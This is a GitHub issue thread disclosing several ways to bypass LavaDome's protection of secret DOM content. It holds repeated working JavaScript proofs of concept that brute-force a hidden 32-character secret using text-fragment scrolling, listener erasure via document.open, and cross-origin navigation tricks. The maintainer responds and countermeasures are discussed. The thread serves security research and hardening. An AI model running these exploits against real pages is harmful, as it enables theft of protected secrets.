-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
LavaDome bypass by detaching iframe load events #54
Comments
I was able to get it to work into an iframe as well. const privateNode = PRIVATE.parentNode;
document.open();
document.write('<body>');
const iframe = document.createElement('iframe');
iframe.src = "404";//arbitrary same-origin page
iframe.onload = async function() {
iframe.onload = null;
const iframeWindow = iframe.contentWindow;
iframeWindow.document.body.appendChild(privateNode);
iframeWindow.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
iframe.src = `404#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
await sleep(100); // Need to bypass Chrome's hang protection
if (iframeWindow.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
iframeWindow.scroll(0, 0);
break;
}
}
}
}
document.body.appendChild(iframe); |
The reason the above way is possible should be due to this spec: https://html.spec.whatwg.org/multipage/dynamic-markup-insertion.html#opening-the-input-stream:~:text=For%20each%20shadow%2Dincluding%20inclusive%20descendant%20node%20of%20document%2C%20erase%20all%20event%20listeners%20and%20handlers%20given%20node%2E |
Very clever, that might make event-based protection a bad idea - thanks! |
Actually, what if the load event was an attribute on the iframe? That should solve it i think |
Although should be hard to defensively access native apis via string |
It seems on* attributes are also be disabled by
I think "handlers" refer to on* attributes. |
wow yea i just managed to test it out myself too, kinda weird |
I think I got it #57 (comment) @masatokinugawa |
This still seems to work because navigation from a cross-origin page cannot be handled by the navigation API. const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
const iframe = document.createElement('iframe');
iframe.sandbox="allow-scripts allow-top-navigation";
iframe.srcdoc="<script>top.location='404';</script>";// Perform navigation via cross-origin page
document.body.appendChild(iframe);
newWindow.eval(`
setTimeout(async function() {
document.body.appendChild(privateNode);
document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
await sleep(100); // Need to bypass Chrome's hang protection
if (window.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
window.scroll(0, 0);
break;
}
}
}
},2000)`); |
Giving |
It looks like the combination of onpageswap=function(){
print();//Prevent emitting pagehide event
}
const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
const iframe = document.createElement('iframe');
iframe.sandbox="allow-scripts allow-top-navigation";
iframe.srcdoc="<script>top.location='//example.com';</script>";// Perform navigation via cross-origin page
document.body.appendChild(iframe);
newWindow.eval(`
setTimeout(async function() {
document.body.appendChild(privateNode);
document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
await sleep(100); // Need to bypass Chrome's hang protection
if (window.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
window.scroll(0, 0);
break;
}
}
}
},2000)`); |
I Noticed the following also works. No need to use const newWindow = window.open('404','_blank');//arbitrary same-origin page
newWindow.privateNode = PRIVATE.parentNode;
const iframe = document.createElement('iframe');
iframe.sandbox="allow-scripts allow-top-navigation";
iframe.srcdoc="<script>setTimeout(function(){top.location='//example.com';},1000)</script>";// Perform navigation via cross-origin page
document.body.appendChild(iframe);
newWindow.eval(`
setTimeout(async function() {
document.body.appendChild(privateNode);
document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
location=\`#:~:text=This%20is%20a%20secret:-,\${foundChars}\${secretChars[j]}\`;
await sleep(100); // Need to bypass Chrome's hang protection
if (window.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
window.scroll(0, 0);
break;
}
}
}
},3000)`);
print();//Prevent emitting pagehide event |
I noticed that the recently added check by listening to an
iframe
'sload
event (#42) can be bypassed via a new window.The text was updated successfully, but these errors were encountered: